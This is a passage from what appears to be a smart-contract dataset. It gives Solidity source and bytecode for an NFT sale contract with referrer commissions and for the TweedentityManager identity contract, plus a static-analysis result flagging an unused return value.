not eligible for claim"); address payable referrer = _referrer; uint256 price = basePrice; if(minXGDAOFree != 0 && IERC20(xGDAO).balanceOf(msg.sender) >= minXGDAOFree){ price = 0; } require(msg.sender != _referrer, "You cannot use yourself as a referrer"); require(msg.value == price, "You must pay the exact price to purchase. Call the getPrice() function to see the price in wei"); if(price > 0){ //Give commisson if there's a referrer if(referrer != address(0)) { //Calculate commission and subtract from price to avoid rounding errors uint256 commission = getCommission(price, referrer); referrer.transfer(commission); treasury.transfer(price-commission); //If not, treasury gets all the price }else{ treasury.transfer(price); } } //Mint a POE PoExtended(POEContract).mint(msg.sender); } /** * @notice for owner to change base commission * @param _new is new commission */ function changeBaseCommission(uint256 _new) external onlyOwner { baseCommission = _new; } /** * @notice for owner to change the price curve contract address * @param _new is the new address */ function setBasePrice(uint256 _new) external onlyAdmin{ basePrice = _new; } /** * @notice for owner to add some new bonus NFTs * @dev see _addBonusNFTs * @param _bonusNFTIDs array of IDs * @param _bonusNFTMultipliers array of multipliers */ function addBonusNFTs(uint128[] memory _bonusNFTIDs, uint128[] memory _bonusNFTMultipliers) public onlyOwner{ _addBonusNFTs(_bonusNFTIDs, _bonusNFTMultipliers); } /** * @notice function returns the commission based on base commission rate, NFT bonus, and price * @param _price is passed in, but should be calculated with getPrice() * @param _referrer is to look up NFT bonuses * @return the commission ammount */ function getCommission(uint256 _price, address _referrer) internal view returns(uint256){ uint128 bonus = getNFTBonus(_referrer); uint256 commission; if(bonus > 0){ commission = baseCommission + ((baseCommission * bonus) / 1000); }else{ commission = baseCommission; } return((_price * commission) / 1000); } /** * @notice function to get the NFT bonus of a person * @param _referrer is the referrer address * @return the sum of bonuses they own */ function getNFTBonus(address _referrer) public view returns(uint128){ uint128 bonus = 0; INFT nft = INFT(bonusNFTAddress); //Loop through nfts and add up bonuses that the referrer owns for(uint8 i = 0; i < bonusNFTs.length; i++){ if(nft.balanceOf(_referrer, bonusNFTs[i].id) > 0){ bonus += bonusNFTs[i].multiplier; } } return bonus; } /** * @notice private function to add new NFTs as bonuses * @param _bonusNFTIDs array of ids matching multipliers * @param _bonusNFTMultipliers array of multipliers matching ids */ function _addBonusNFTs(uint128[] memory _bonusNFTIDs, uint128[] memory _bonusNFTMultipliers) private{ require(_bonusNFTIDs.length == _bonusNFTMultipliers.length, "The array parameters must have the same length"); //Add all the NFTs for(uint8 i = 0; i < _bonusNFTIDs.length; i++){ bonusNFTs.push( nftBonus(_bonusNFTIDs[i],_bonusNFTMultipliers[i]) ); } } }
0x6080604052600436106101405760003560e01c80638c229c01116100b6578063e03481e11161006f578063e03481e1146103ed578063eb81ceee14610418578063f2fde38b14610441578063f974fbf71461046a578063f9ff8da114610495578063fed1fee0146104ac57610140565b80638c229c01146102f15780638da5cb5b1461031c578063abafcf3b14610347578063bbff2e7c14610370578063c7876ea414610399578063de4b3262146103c457610140565b806361d027b31161010857806361d027b3146102165780637048027514610241578063715018a61461026a57806383cefc7214610281578063851dfeef1461029d5780638678e2a2146102c857610140565b80631785f53c146101455780632eb4a7ab1461016e5780633ae2909d146101995780634783f0ef146101c2578063490f25d3146101eb575b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611a94565b6104e9565b005b34801561017a57600080fd5b50610183610654565b6040516101909190611ed5565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb9190611bef565b61065a565b005b3480156101ce57600080fd5b506101e960048036038101906101e49190611bc2565b6106f0565b005b3480156101f757600080fd5b50610200610786565b60405161020d919061204b565b60405180910390f35b34801561022257600080fd5b5061022b61078c565b6040516102389190611e91565b60405180910390f35b34801561024d57600080fd5b5061026860048036038101906102639190611a94565b6107b2565b005b34801561027657600080fd5b5061027f61091d565b005b61029b60048036038101906102969190611ac1565b6109a5565b005b3480156102a957600080fd5b506102b2610dd8565b6040516102bf919061204b565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611a94565b610dde565b005b3480156102fd57600080fd5b50610306610eae565b6040516103139190611e76565b60405180910390f35b34801561032857600080fd5b50610331610ed4565b60405161033e9190611e76565b60405180910390f35b34801561035357600080fd5b5061036e60048036038101906103699190611a94565b610efd565b005b34801561037c57600080fd5b5061039760048036038101906103929190611b1d565b610fcd565b005b3480156103a557600080fd5b506103ae611057565b6040516103bb919061204b565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611bef565b61105d565b005b3480156103f957600080fd5b506104026110f3565b60405161040f9190611e76565b60405180910390f35b34801561042457600080fd5b5061043f600480360381019061043a9190611bef565b611119565b005b34801561044d57600080fd5b5061046860048036038101906104639190611a94565b61119f565b005b34801561047657600080fd5b5061047f611297565b60405161048c9190611e76565b60405180910390f35b3480156104a157600080fd5b506104aa6112bd565b005b3480156104b857600080fd5b506104d360048036038101906104ce9190611a94565b6113aa565b6040516104e09190612030565b60405180910390f35b6104f161152a565b73ffffffffffffffffffffffffffffffffffffffff1661050f610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055c90611f70565b60405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090611f50565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60015481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166106e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dd90611fd0565b60405180910390fd5b8060098190555050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611fd0565b60405180910390fd5b8060018190555050565b60095481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107ba61152a565b73ffffffffffffffffffffffffffffffffffffffff166107d8610ed4565b73ffffffffffffffffffffffffffffffffffffffff161461082e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082590611f70565b60405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156108c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b990611ff0565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61092561152a565b73ffffffffffffffffffffffffffffffffffffffff16610943610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090611f70565b60405180910390fd5b6109a36000611532565b565b6000336040516020016109b89190611e2f565b6040516020818303038152906040528051906020012090506109e760015482846115f69092919063ffffffff16565b610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90612010565b60405180910390fd5b600083905060006007549050600060095414158015610af15750600954600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610a9e9190611e76565b60206040518083038186803b158015610ab657600080fd5b505afa158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee9190611c1c565b10155b15610afb57600090505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6190611f90565b60405180910390fd5b803414610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba390611fb0565b60405180910390fd5b6000811115610d2357600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610cb8576000610bf582846116ac565b90508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c3d573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8284610c86919061221b565b9081150290604051600060405180830381858888f19350505050158015610cb1573d6000803e3d6000fd5b5050610d22565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d20573d6000803e3d6000fd5b505b5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a627842336040518263ffffffff1660e01b8152600401610d7e9190611e76565b602060405180830381600087803b158015610d9857600080fd5b505af1158015610dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd09190611b95565b505050505050565b60045481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6190611fd0565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090611fd0565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610fd561152a565b73ffffffffffffffffffffffffffffffffffffffff16610ff3610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104090611f70565b60405180910390fd5b6110538282611740565b5050565b60075481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e090611fd0565b60405180910390fd5b8060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61112161152a565b73ffffffffffffffffffffffffffffffffffffffff1661113f610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90611f70565b60405180910390fd5b8060048190555050565b6111a761152a565b73ffffffffffffffffffffffffffffffffffffffff166111c5610ed4565b73ffffffffffffffffffffffffffffffffffffffff161461121b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121290611f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561128b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128290611f30565b60405180910390fd5b61129481611532565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611350576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134790611ef0565b60405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b600080600090506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060005b600a805490508160ff16101561151f5760008273ffffffffffffffffffffffffffffffffffffffff1662fdd58e87600a8560ff16815481106114205761141f61241e565b5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611467929190611eac565b60206040518083038186803b15801561147f57600080fd5b505afa158015611493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b79190611c1c565b111561150c57600a8160ff16815481106114d4576114d361241e565b5b9060005260206000200160000160109054906101000a90046fffffffffffffffffffffffffffffffff168361150991906120f4565b92505b808061151790612368565b9150506113db565b508192505050919050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008082905060005b855181101561169e57600086828151811061161d5761161c61241e565b5b6020026020010151905080831161165e578281604051602001611641929190611e4a565b60405160208183030381529060405280519060200120925061168a565b8083604051602001611671929190611e4a565b6040516020818303038152906040528051906020012092505b5080806116969061231f565b9150506115ff565b508381149150509392505050565b6000806116b8836113aa565b9050600080826fffffffffffffffffffffffffffffffff161115611717576103e8826fffffffffffffffffffffffffffffffff166004546116f991906121c1565b6117039190612190565b600454611710919061213a565b905061171d565b60045490505b6103e8818661172c91906121c1565b6117369190612190565b9250505092915050565b8051825114611784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177b90611f10565b60405180910390fd5b60005b82518160ff1610156118c057600a6040518060400160405280858460ff16815181106117b6576117b561241e565b5b60200260200101516fffffffffffffffffffffffffffffffff168152602001848460ff16815181106117eb576117ea61241e565b5b60200260200101516fffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550505080806118b890612368565b915050611787565b505050565b60006118d86118d38461208b565b612066565b905080838252602082019050828560208602820111156118fb576118fa612481565b5b60005b8581101561192b57816119118882611a40565b8452602084019350602083019250506001810190506118fe565b5050509392505050565b6000611948611943846120b7565b612066565b9050808382526020820190508285602086028201111561196b5761196a612481565b5b60005b8581101561199b57816119818882611a55565b84526020840193506020830192505060018101905061196e565b5050509392505050565b6000813590506119b481612752565b92915050565b6000813590506119c981612769565b92915050565b600082601f8301126119e4576119e361247c565b5b81356119f48482602086016118c5565b91505092915050565b600082601f830112611a1257611a1161247c565b5b8135611a22848260208601611935565b91505092915050565b600081519050611a3a81612780565b92915050565b600081359050611a4f81612797565b92915050565b600081359050611a64816127ae565b92915050565b600081359050611a79816127c5565b92915050565b600081519050611a8e816127c5565b92915050565b600060208284031215611aaa57611aa961248b565b5b6000611ab8848285016119a5565b91505092915050565b60008060408385031215611ad857611ad761248b565b5b6000611ae6858286016119ba565b925050602083013567ffffffffffffffff811115611b0757611b06612486565b5b611b13858286016119cf565b9150509250929050565b60008060408385031215611b3457611b3361248b565b5b600083013567ffffffffffffffff811115611b5257611b51612486565b5b611b5e858286016119fd565b925050602083013567ffffffffffffffff811115611b7f57611b7e612486565b5b611b8b858286016119fd565b9150509250929050565b600060208284031215611bab57611baa61248b565b5b6000611bb984828501611a2b565b91505092915050565b600060208284031215611bd857611bd761248b565b5b6000611be684828501611a40565b91505092915050565b600060208284031215611c0557611c0461248b565b5b6000611c1384828501611a6a565b91505092915050565b600060208284031215611c3257611c3161248b565b5b6000611c4084828501611a7f565b91505092915050565b611c5281612261565b82525050565b611c618161224f565b82525050565b611c78611c738261224f565b612392565b82525050565b611c878161227f565b82525050565b611c9e611c998261227f565b6123a4565b82525050565b6000611cb16024836120e3565b9150611cbc826124ae565b604082019050919050565b6000611cd4602e836120e3565b9150611cdf826124fd565b604082019050919050565b6000611cf76026836120e3565b9150611d028261254c565b604082019050919050565b6000611d1a601d836120e3565b9150611d258261259b565b602082019050919050565b6000611d3d6020836120e3565b9150611d48826125c4565b602082019050919050565b6000611d606025836120e3565b9150611d6b826125ed565b604082019050919050565b6000611d83605e836120e3565b9150611d8e8261263c565b606082019050919050565b6000611da6602f836120e3565b9150611db1826126b1565b604082019050919050565b6000611dc96019836120e3565b9150611dd482612700565b602082019050919050565b6000611dec601e836120e3565b9150611df782612729565b602082019050919050565b611e0b81612289565b82525050565b611e1a816122dc565b82525050565b611e29816122c5565b82525050565b6000611e3b8284611c67565b60148201915081905092915050565b6000611e568285611c8d565b602082019150611e668284611c8d565b6020820191508190509392505050565b6000602082019050611e8b6000830184611c58565b92915050565b6000602082019050611ea66000830184611c49565b92915050565b6000604082019050611ec16000830185611c58565b611ece6020830184611e11565b9392505050565b6000602082019050611eea6000830184611c7e565b92915050565b60006020820190508181036000830152611f0981611ca4565b9050919050565b60006020820190508181036000830152611f2981611cc7565b9050919050565b60006020820190508181036000830152611f4981611cea565b9050919050565b60006020820190508181036000830152611f6981611d0d565b9050919050565b60006020820190508181036000830152611f8981611d30565b9050919050565b60006020820190508181036000830152611fa981611d53565b9050919050565b60006020820190508181036000830152611fc981611d76565b9050919050565b60006020820190508181036000830152611fe981611d99565b9050919050565b6000602082019050818103600083015261200981611dbc565b9050919050565b6000602082019050818103600083015261202981611ddf565b9050919050565b60006020820190506120456000830184611e02565b92915050565b60006020820190506120606000830184611e20565b92915050565b6000612070612081565b905061207c82826122ee565b919050565b6000604051905090565b600067ffffffffffffffff8211156120a6576120a561244d565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156120d2576120d161244d565b5b602082029050602081019050919050565b600082825260208201905092915050565b60006120ff82612289565b915061210a83612289565b9250826fffffffffffffffffffffffffffffffff0382111561212f5761212e6123c0565b5b828201905092915050565b6000612145826122c5565b9150612150836122c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612185576121846123c0565b5b828201905092915050565b600061219b826122c5565b91506121a6836122c5565b9250826121b6576121b56123ef565b5b828204905092915050565b60006121cc826122c5565b91506121d7836122c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122105761220f6123c0565b5b828202905092915050565b6000612226826122c5565b9150612231836122c5565b925082821015612244576122436123c0565b5b828203905092915050565b600061225a826122a5565b9050919050565b600061226c826122a5565b9050919050565b60008115159050919050565b6000819050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006122e782612289565b9050919050565b6122f782612490565b810181811067ffffffffffffffff821117156123165761231561244d565b5b80604052505050565b600061232a826122c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561235d5761235c6123c0565b5b600182019050919050565b6000612373826122cf565b915060ff821415612387576123866123c0565b5b600182019050919050565b600061239d826123ae565b9050919050565b6000819050919050565b60006123b9826124a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f6d73672e73656e646572206d75737420626520616e20617070726f766564204160008201527f646d696e00000000000000000000000000000000000000000000000000000000602082015250565b7f54686520617272617920706172616d6574657273206d7573742068617665207460008201527f68652073616d65206c656e677468000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f41646d696e20697320616c7265616479206e6f742d617070726f766564000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f596f752063616e6e6f742075736520796f757273656c6620617320612072656660008201527f6572726572000000000000000000000000000000000000000000000000000000602082015250565b7f596f75206d757374207061792074686520657861637420707269636520746f2060008201527f70757263686173652e2043616c6c20746865206765745072696365282920667560208201527f6e6374696f6e20746f207365652074686520707269636520696e207765690000604082015250565b7f6d75737420626520617070726f766564206279206f776e657220746f2063616c60008201527f6c20746869732066756e6374696f6e0000000000000000000000000000000000602082015250565b7f41646d696e20697320616c726561647920617070726f76656400000000000000600082015250565b7f41646472657373206e6f7420656c696769626c6520666f7220636c61696d0000600082015250565b61275b8161224f565b811461276657600080fd5b50565b61277281612261565b811461277d57600080fd5b50565b61278981612273565b811461279457600080fd5b50565b6127a08161227f565b81146127ab57600080fd5b50565b6127b781612289565b81146127c257600080fd5b50565b6127ce816122c5565b81146127d957600080fd5b5056fea26469706673582212205e499de09df590f021285270e307b3ec6ed146af453114dfe03990249ae87d8464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,722
0x010a1a80541018e3ca4b38aaf47e2e64567afbac
pragma solidity ^0.4.18; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol /** * @title Contracts that should not own Ether * @author Remco Bloemen <remco@2π.com> * @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up * in the contract, it will allow the owner to reclaim this ether. * @notice Ether can still be send to this contract by: * calling functions labeled `payable` * `selfdestruct(contract_address)` * mining directly to the contract address */ contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } // File: contracts/TweedentityManager.sol interface ITweedentityStore { function isUpgradable(address _address, string _uid) public constant returns (bool); function setIdentity(address _address, string _uid) external; function unsetIdentity(address _address) external; function getAppNickname() external constant returns (bytes32); function getAppId() external constant returns (uint); function getAddressLastUpdate(address _address) external constant returns (uint); function isUid(string _uid) public pure returns (bool); } /** * @title TweedentityManager * @author Francesco Sullo <francesco@sullo.co> * @dev Sets and removes tweedentities in the store, * adding more logic to the simple logic of the store */ contract TweedentityManager is Pausable, HasNoEther { string public version = "1.3.0"; struct Store { ITweedentityStore store; address addr; } mapping(uint => Store) private __stores; mapping(uint => bytes32) public appNicknames32; mapping(uint => string) public appNicknames; mapping(string => uint) private __appIds; address public claimer; address public newClaimer; mapping(address => bool) public customerService; address[] private __customerServiceAddress; uint public upgradable = 0; uint public notUpgradableInStore = 1; uint public addressNotUpgradable = 2; uint public minimumTimeBeforeUpdate = 1 hours; // events event IdentityNotUpgradable( string appNickname, address indexed addr, string uid ); // config /** * @dev Sets a store to be used by the manager * @param _appNickname The nickname of the app for which the store&#39;s been configured * @param _address The address of the store */ function setAStore( string _appNickname, address _address ) public onlyOwner { require(bytes(_appNickname).length > 0); bytes32 _appNickname32 = keccak256(_appNickname); require(_address != address(0)); ITweedentityStore _store = ITweedentityStore(_address); require(_store.getAppNickname() == _appNickname32); uint _appId = _store.getAppId(); require(appNicknames32[_appId] == 0x0); appNicknames32[_appId] = _appNickname32; appNicknames[_appId] = _appNickname; __appIds[_appNickname] = _appId; __stores[_appId] = Store( ITweedentityStore(_address), _address ); } /** * @dev Sets the claimer which will verify the ownership and call to set a tweedentity * @param _address Address of the claimer */ function setClaimer( address _address ) public onlyOwner { require(_address != address(0)); claimer = _address; } /** * @dev Sets a new claimer during updates * @param _address Address of the new claimer */ function setNewClaimer( address _address ) public onlyOwner { require(_address != address(0) && claimer != address(0)); newClaimer = _address; } /** * @dev Sets new manager */ function switchClaimerAndRemoveOldOne() external onlyOwner { claimer = newClaimer; newClaimer = address(0); } /** * @dev Sets a wallet as customer service to perform emergency removal of wrong, abused, squatted tweedentities (due, for example, to hacking of the Twitter account) * @param _address The customer service wallet * @param _status The status (true is set, false is unset) */ function setCustomerService( address _address, bool _status ) public onlyOwner { require(_address != address(0)); customerService[_address] = _status; bool found; for (uint i = 0; i < __customerServiceAddress.length; i++) { if (__customerServiceAddress[i] == _address) { found = true; break; } } if (!found) { __customerServiceAddress.push(_address); } } //modifiers modifier onlyClaimer() { require(msg.sender == claimer || (newClaimer != address(0) && msg.sender == newClaimer)); _; } modifier onlyCustomerService() { require(msg.sender == owner || customerService[msg.sender] == true); _; } modifier whenStoreSet( uint _appId ) { require(appNicknames32[_appId] != 0x0); _; } // internal getters function __getStore( uint _appId ) internal constant returns (ITweedentityStore) { return __stores[_appId].store; } // helpers function isAddressUpgradable( ITweedentityStore _store, address _address ) internal constant returns (bool) { uint lastUpdate = _store.getAddressLastUpdate(_address); return lastUpdate == 0 || now >= lastUpdate + minimumTimeBeforeUpdate; } function isUpgradable( ITweedentityStore _store, address _address, string _uid ) internal constant returns (bool) { if (!_store.isUpgradable(_address, _uid) || !isAddressUpgradable(_store, _address)) { return false; } return true; } // getters /** * @dev Gets the app-id associated to a nickname * @param _appNickname The nickname of a configured app */ function getAppId( string _appNickname ) external constant returns (uint) { return __appIds[_appNickname]; } /** * @dev Allows other contracts to check if a store is set * @param _appNickname The nickname of a configured app */ function isStoreSet( string _appNickname ) public constant returns (bool){ return __appIds[_appNickname] != 0; } /** * @dev Return a numeric code about the upgradability of a couple wallet-uid in a certain app * @param _appId The id of the app * @param _address The address of the wallet * @param _uid The user-id */ function getUpgradability( uint _appId, address _address, string _uid ) external constant returns (uint) { ITweedentityStore _store = __getStore(_appId); if (!_store.isUpgradable(_address, _uid)) { return notUpgradableInStore; } else if (!isAddressUpgradable(_store, _address)) { return addressNotUpgradable; } else { return upgradable; } } /** * @dev Returns the address of a store * @param _appNickname The app nickname */ function getStoreAddress( string _appNickname ) external constant returns (address) { return __stores[__appIds[_appNickname]].addr; } /** * @dev Returns the address of any customerService account */ function getCustomerServiceAddress() external constant returns (address[]) { return __customerServiceAddress; } // primary methods /** * @dev Sets a new identity * @param _appId The id of the app * @param _address The address of the wallet * @param _uid The user-id */ function setIdentity( uint _appId, address _address, string _uid ) external onlyClaimer whenStoreSet(_appId) whenNotPaused { require(_address != address(0)); ITweedentityStore _store = __getStore(_appId); require(_store.isUid(_uid)); if (isUpgradable(_store, _address, _uid)) { _store.setIdentity(_address, _uid); } else { IdentityNotUpgradable(appNicknames[_appId], _address, _uid); } } /** * @dev Unsets an existent identity * @param _appId The id of the app * @param _address The address of the wallet */ function unsetIdentity( uint _appId, address _address ) external onlyCustomerService whenStoreSet(_appId) whenNotPaused { ITweedentityStore _store = __getStore(_appId); _store.unsetIdentity(_address); } /** * @dev Allow the sender to unset its existent identity * @param _appId The id of the app */ function unsetMyIdentity( uint _appId ) external whenStoreSet(_appId) whenNotPaused { ITweedentityStore _store = __getStore(_appId); _store.unsetIdentity(msg.sender); } /** * @dev Update the minimum time before allowing a wallet to update its data * @param _newMinimumTime The new minimum time in seconds */ function changeMinimumTimeBeforeUpdate( uint _newMinimumTime ) external onlyOwner { minimumTimeBeforeUpdate = _newMinimumTime; } // private methods function __stringToUint( string s ) internal pure returns (uint result) { bytes memory b = bytes(s); uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } function __uintToBytes(uint x) internal pure returns (bytes b) { b = new bytes(32); for (uint i = 0; i < 32; i++) { b[i] = byte(uint8(x / (2 ** (8 * (31 - i))))); } } }
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631343ed051461018d57806313754f9a146102025780631921d1171461022b57806339e31ceb1461026d5780633f4ba83a146102965780633ff285d9146102ab5780635148de8d146102fc578063543a9ce41461032557806354fd4d50146103a1578063558f285f1461042f5780635854be3c146104525780635b8242081461048b5780635c975abb146104ae5780638456cb59146104db57806386321f95146104f05780638da5cb5b1461050557806396d122ea1461055a5780639deb1c5c146105c85780639f727c271461060c578063ad0b38a214610621578063b2b5be0914610663578063ba9862de146106b9578063c6199b6d146106f8578063cdfb583214610762578063d379be231461079b578063d92fb5e9146107f0578063d9420a8614610845578063f2fde38b146108af578063f4d26fec146108e8578063ff89008614610911575b341561018b57600080fd5b005b341561019857600080fd5b6101e8600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506109ad565b604051808215151515815260200191505060405180910390f35b341561020d57600080fd5b610215610a25565b6040518082815260200191505060405180910390f35b341561023657600080fd5b61026b600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a2